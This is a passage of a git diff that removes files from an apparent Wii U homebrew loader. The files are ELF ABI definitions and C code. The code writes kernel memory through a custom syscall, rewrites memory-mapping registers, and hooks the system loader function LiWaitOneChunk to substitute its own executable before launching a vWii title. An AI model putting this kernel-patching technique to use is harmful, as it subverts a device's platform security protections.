ELF_SHSTRTAB ".shstrtab" /* section header string table */ -#define ELF_STRTAB ".strtab" /* string table */ -#define ELF_SYMTAB ".symtab" /* symbol table */ -#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ -#define ELF_TBSS ".tbss" /* thread local uninit data */ -#define ELF_TDATA ".tdata" /* thread local init data */ -#define ELF_TDATA1 ".tdata1" /* thread local init data */ -#define ELF_TEXT ".text" /* code */ - -/* Section Attribute Flags - sh_flags */ -#define SHF_WRITE 0x1 /* Writable */ -#define SHF_ALLOC 0x2 /* occupies memory */ -#define SHF_EXECINSTR 0x4 /* executable */ -#define SHF_MERGE 0x10 /* Might be merged */ -#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ -#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ -#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ -#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ -#define SHF_GROUP 0x200 /* Member of section group */ -#define SHF_TLS 0x400 /* Thread local storage */ -#define SHF_MASKOS 0x0ff00000 /* OS specific */ -#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific section attributes */ - -/* Section Group Flags */ -#define GRP_COMDAT 0x1 /* COMDAT group */ -#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ -#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ - -/* Symbol Table Entry */ -typedef struct elf32_sym { - Elf32_Word st_name; /* name - index into string table */ - Elf32_Addr st_value; /* symbol value */ - Elf32_Word st_size; /* symbol size */ - unsigned char st_info; /* type and binding */ - unsigned char st_other; /* 0 - no defined meaning */ - Elf32_Half st_shndx; /* section header index */ -} Elf32_Sym; - -/* Symbol table index */ -#define STN_UNDEF 0 /* undefined */ - -/* Extract symbol info - st_info */ -#define ELF32_ST_BIND(x) ((x) >> 4) -#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) -#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) -#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) - -/* Symbol Binding - ELF32_ST_BIND - st_info */ -#define STB_LOCAL 0 /* Local symbol */ -#define STB_GLOBAL 1 /* Global symbol */ -#define STB_WEAK 2 /* like global - lower precedence */ -#define STB_NUM 3 /* number of symbol bindings */ -#define STB_LOOS 10 /* reserved range for operating */ -#define STB_HIOS 12 /* system specific symbol bindings */ -#define STB_LOPROC 13 /* reserved range for processor */ -#define STB_HIPROC 15 /* specific symbol bindings */ - -/* Symbol type - ELF32_ST_TYPE - st_info */ -#define STT_NOTYPE 0 /* not specified */ -#define STT_OBJECT 1 /* data object */ -#define STT_FUNC 2 /* function */ -#define STT_SECTION 3 /* section */ -#define STT_FILE 4 /* file */ -#define STT_NUM 5 /* number of symbol types */ -#define STT_TLS 6 /* Thread local storage symbol */ -#define STT_LOOS 10 /* reserved range for operating */ -#define STT_HIOS 12 /* system specific symbol types */ -#define STT_LOPROC 13 /* reserved range for processor */ -#define STT_HIPROC 15 /* specific symbol types */ - -/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ -#define STV_DEFAULT 0 /* Normal visibility rules */ -#define STV_INTERNAL 1 /* Processor specific hidden class */ -#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ -#define STV_PROTECTED 3 /* Not preemptible, not exported */ - - -/* Relocation entry with implicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ -} Elf32_Rel; - -/* Relocation entry with explicit addend */ -typedef struct -{ - Elf32_Addr r_offset; /* offset of relocation */ - Elf32_Word r_info; /* symbol table index and type */ - Elf32_Sword r_addend; -} Elf32_Rela; - -/* Extract relocation info - r_info */ -#define ELF32_R_SYM(i) ((i) >> 8) -#define ELF32_R_TYPE(i) ((unsigned char) (i)) -#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) - -/* Program Header */ -typedef struct { - Elf32_Word p_type; /* segment type */ - Elf32_Off p_offset; /* segment offset */ - Elf32_Addr p_vaddr; /* virtual address of segment */ - Elf32_Addr p_paddr; /* physical address - ignored? */ - Elf32_Word p_filesz; /* number of bytes in file for seg. */ - Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ - Elf32_Word p_flags; /* flags */ - Elf32_Word p_align; /* memory alignment */ -} Elf32_Phdr; - -/* Segment types - p_type */ -#define PT_NULL 0 /* unused */ -#define PT_LOAD 1 /* loadable segment */ -#define PT_DYNAMIC 2 /* dynamic linking section */ -#define PT_INTERP 3 /* the RTLD */ -#define PT_NOTE 4 /* auxiliary information */ -#define PT_SHLIB 5 /* reserved - purpose undefined */ -#define PT_PHDR 6 /* program header */ -#define PT_TLS 7 /* Thread local storage template */ -#define PT_NUM 8 /* Number of segment types */ -#define PT_LOOS 0x60000000 /* reserved range for operating */ -#define PT_HIOS 0x6fffffff /* system specific segment types */ -#define PT_LOPROC 0x70000000 /* reserved range for processor */ -#define PT_HIPROC 0x7fffffff /* specific segment types */ - -/* Segment flags - p_flags */ -#define PF_X 0x1 /* Executable */ -#define PF_W 0x2 /* Writable */ -#define PF_R 0x4 /* Readable */ -#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ -#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ - /* specific segment flags */ -/* Dynamic structure */ -typedef struct -{ - Elf32_Sword d_tag; /* controls meaning of d_val */ - union - { - Elf32_Word d_val; /* Multiple meanings - see d_tag */ - Elf32_Addr d_ptr; /* program virtual address */ - } d_un; -} Elf32_Dyn; - -extern Elf32_Dyn _DYNAMIC[]; - -/* Dynamic Array Tags - d_tag */ -#define DT_NULL 0 /* marks end of _DYNAMIC array */ -#define DT_NEEDED 1 /* string table offset of needed lib */ -#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ -#define DT_PLTGOT 3 /* address PLT/GOT */ -#define DT_HASH 4 /* address of symbol hash table */ -#define DT_STRTAB 5 /* address of string table */ -#define DT_SYMTAB 6 /* address of symbol table */ -#define DT_RELA 7 /* address of relocation table */ -#define DT_RELASZ 8 /* size of relocation table */ -#define DT_RELAENT 9 /* size of relocation entry */ -#define DT_STRSZ 10 /* size of string table */ -#define DT_SYMENT 11 /* size of symbol table entry */ -#define DT_INIT 12 /* address of initialization func. */ -#define DT_FINI 13 /* address of termination function */ -#define DT_SONAME 14 /* string table offset of shared obj */ -#define DT_RPATH 15 /* string table offset of library - search path */ -#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ -#define DT_REL 17 /* address of rel. tbl. w addends */ -#define DT_RELSZ 18 /* size of DT_REL relocation table */ -#define DT_RELENT 19 /* size of DT_REL relocation entry */ -#define DT_PLTREL 20 /* PLT referenced relocation entry */ -#define DT_DEBUG 21 /* bugger */ -#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ -#define DT_JMPREL 23 /* add. of PLT's relocation entries */ -#define DT_BIND_NOW 24 /* Process relocations of object */ -#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ -#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ -#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ -#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ -#define DT_RUNPATH 29 /* Library search path */ -#define DT_FLAGS 30 /* Flags for the object being loaded */ -#define DT_ENCODING 32 /* Start of encoded range */ -#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ -#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ -#define DT_NUM 34 /* Number used. */ -#define DT_LOOS 0x60000000 /* reserved range for OS */ -#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ -#define DT_LOPROC 0x70000000 /* reserved range for processor */ -#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ - -/* Dynamic Tag Flags - d_un.d_val */ -#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ -#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ -#define DF_TEXTREL 0x04 /* Object contains text relocations */ -#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ -#define DF_STATIC_TLS 0x10 /* Static thread local storage */ - -/* Standard ELF hashing function */ -unsigned long elf_hash(const unsigned char *name); - -#define ELF_TARG_VER 1 /* The ver for which this code is intended */ - -/* - * XXX - PowerPC defines really don't belong in here, - * but we'll put them in for simplicity. - */ - -/* Values for Elf32/64_Ehdr.e_flags. */ -#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ - -/* Cygnus local bits below */ -#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ -#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib - flag */ - -/* PowerPC relocations defined by the ABIs */ -#define R_PPC_NONE 0 -#define R_PPC_ADDR32 1 /* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/vwii_loader/sd_loader/src/entry.c b/dsrom/vwii_loader/sd_loader/src/entry.c deleted file mode 100644 index d729e79..0000000 --- a/dsrom/vwii_loader/sd_loader/src/entry.c +++ /dev/null @@ -1,388 +0,0 @@ -#include -#include "elf_abi.h" -#include "../../common.h" -#include "../../fs_defs.h" -#include "../../os_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" - -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) - -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access with cache inhibited to write through and read directly from memory - */ - unsigned int dbatu0, dbatl0, dbatu1, dbatl1; - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mfdbatu %0, 1" : "=r" (dbatu1)); - asm volatile("mfdbatl %0, 1" : "=r" (dbatl1)); - - unsigned int target_dbatu0 = 0; - unsigned int target_dbatl0 = 0; - unsigned int target_dbatu1 = 0; - unsigned int target_dbatl1 = 0; - - unsigned int *dst_p = (unsigned int*)addr; - unsigned int *src_p = (unsigned int*)src; - - // we only need DBAT modification for addresses out of our own DBAT range - // as our own DBAT is available everywhere for user and supervisor - // since our own DBAT is on DBAT5 position we don't collide here - if(addr < 0x00800000 || addr >= 0x01000000) - { - target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = (addr & 0xFFF00000) | 0x32; - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000); - } - if(src < 0x00800000 || src >= 0x01000000) - { - target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = (src & 0xFFF00000) | 0x32; - - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000); - } - - asm volatile("eieio; isync"); - - unsigned int i; - for(i = 0; i < len; i += 4) - { - // if we are on the edge to next chunk - if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000))) - { - target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F; - target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32; - dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0)); - asm volatile("eieio; isync"); - } - if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000))) - { - target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F; - target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32; - src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000); - - asm volatile("eieio; isync"); - asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1)); - asm volatile("eieio; isync"); - } - - *dst_p = *src_p; - - ++dst_p; - ++src_p; - } - - /* - * Restore original DBAT value - */ - asm volatile("eieio; isync"); - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("mtdbatu 1, %0" : : "r" (dbatu1)); - asm volatile("mtdbatl 1, %0" : : "r" (dbatl1)); - asm volatile("eieio; isync"); -} - -// This function is called every time after LiBounceOneChunk. -// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address -// and return the still remaining bytes to load. -// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. -static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType) -{ - unsigned int result; - register int core_id; - int remaining_bytes = 0; - - int sgFileOffset; - int sgBufferNumber; - int *sgBounceError; - int *sgGotBytes; - int *sgTotalBytes; - int *sgIsLoadingBuffer; - int *sgFinishedLoadingBuffer; - - // get the current core - asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); - - // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) - unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2)); - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime1 = Loader_GetSystemTime(); - - if(OS_FIRMWARE == 550) - { - // pointer to global variables of the loader - loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy - //! it makes smaller code then if(mapOffset == mem_area->size) after copy - mapOffset = -blockSize; - mem_area = mem_area->next; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -unsigned int _main(int argc, char **argv) -{ - if(MAIN_ENTRY_ADDR != 0xC001C0DE) - { - EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); - EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; - - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - - EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); - EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - //get all the CMPT functions - unsigned int cmpt_handle; - OSDynLoad_Acquire("nn_cmpt.rpl", &cmpt_handle); - - int (*CMPTLaunchTitle)(void* CMPTConfigure, int ConfigSize, int titlehigh, int titlelow); - int (*CMPTAcctSetScreenType)(int screenType); - int (*CMPTGetDataSize)(int* dataSize); - int (*CMPTCheckScreenState)(); - - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTLaunchTitle", &CMPTLaunchTitle); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTAcctSetScreenType", &CMPTAcctSetScreenType); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTGetDataSize", &CMPTGetDataSize); - OSDynLoad_FindExport(cmpt_handle, 0, "CMPTCheckScreenState", &CMPTCheckScreenState); - - //1 = TV Only, 2 = GamePad Only, 3 = Both - CMPTAcctSetScreenType(3); - if(CMPTCheckScreenState() < 0) - { - CMPTAcctSetScreenType(2); - if(CMPTCheckScreenState() < 0) - CMPTAcctSetScreenType(1); - } - - int datasize; - CMPTGetDataSize(&datasize); - - //needed for CMPT to work - unsigned int padscore_handle; - OSDynLoad_Acquire("padscore.rpl", &padscore_handle); - void(*KPADInit)(); - OSDynLoad_FindExport(padscore_handle, 0, "KPADInit", &KPADInit); - KPADInit(); - - void *databuf = MEMAllocFromDefaultHeapEx(datasize, 0x40); - CMPTLaunchTitle(databuf, datasize, VWII_TITLE_ID_LOW, VWII_TITLE_ID_HIGH); - MEMFreeToDefaultHeap(databuf); - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - - unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry; - - //! launch the original title with clean stack - return entry; -} diff --git a/dsrom/vwii_loader/sd_loader/src/kernel_defs.h b/dsrom/vwii_loader/sd_loader/src/kernel_defs.h deleted file mode 100644 index a1cce49..0000000 --- a/dsrom/vwii_loader/sd_loader/src/kernel_defs.h +++ /dev/null @@ -1,75 +0,0 @@ -#ifndef __KERNEL_DEFS_H_ -#define __KERNEL_DEFS_H_ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// original structure in the kernel that is originally 0x1270 long -typedef struct -{ - uint32_t version_cos_xml; // version tag from cos.xml - uint64_t os_version; // os_version from app.xml - uint64_t title_id; // title_id tag from app.xml - uint32_t app_type; // app_type tag from app.xml - uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) - char rpx_name[0x1000]; // rpx name from cos.xml - uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) - uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 - uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app - uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) - uint32_t max_codesize; // max_codesize in cos.xml - uint32_t overlay_arena; // overlay_arena in cos.xml - uint32_t unknown4[59]; // all zeros it seems - uint32_t default_stack0_size; // not sure because always 0 but very likely - uint32_t default_stack1_size; // not sure because always 0 but very likely - uint32_t default_stack2_size; // not sure because always 0 but very likely - uint32_t default_redzone0_size; // not sure because always 0 but very likely - uint32_t default_redzone1_size; // not sure because always 0 but very likely - uint32_t default_redzone2_size; // not sure because always 0 but very likely - uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker - uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker - uint32_t title_version; // from app.xml, 0x32 on mii maker - /* - // --------------------------------------------------------------------------------------------------------------------------------------------- - // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... - // --------------------------------------------------------------------------------------------------------------------------------------------- - char mlc[4]; // string "mlc" on mii maker and sysmenu - uint32_t unknown5[7]; // all zeros on mii maker and sysmenu - uint32_t unknown6_one; // 0x01 on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char ACP[4]; // string "ACP" on mii maker and sysmenu - uint32_t unknown7[15]; // all zeros on mii maker and sysmenu - uint32_t unknown8_5; // 0x05 on mii maker and sysmenu - uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char UVD[4]; // string "UVD" on mii maker and sysmenu - uint32_t unknown11[15]; // all zeros on mii maker and sysmenu - uint32_t unknown12_5; // 0x05 on mii maker and sysmenu - uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char SND[4]; // string "SND" on mii maker and sysmenu - uint32_t unknown15[15]; // all zeros on mii maker and sysmenu - uint32_t unknown16_5; // 0x05 on mii maker and sysmenu - uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu - */ - // after that only zeros follow -} 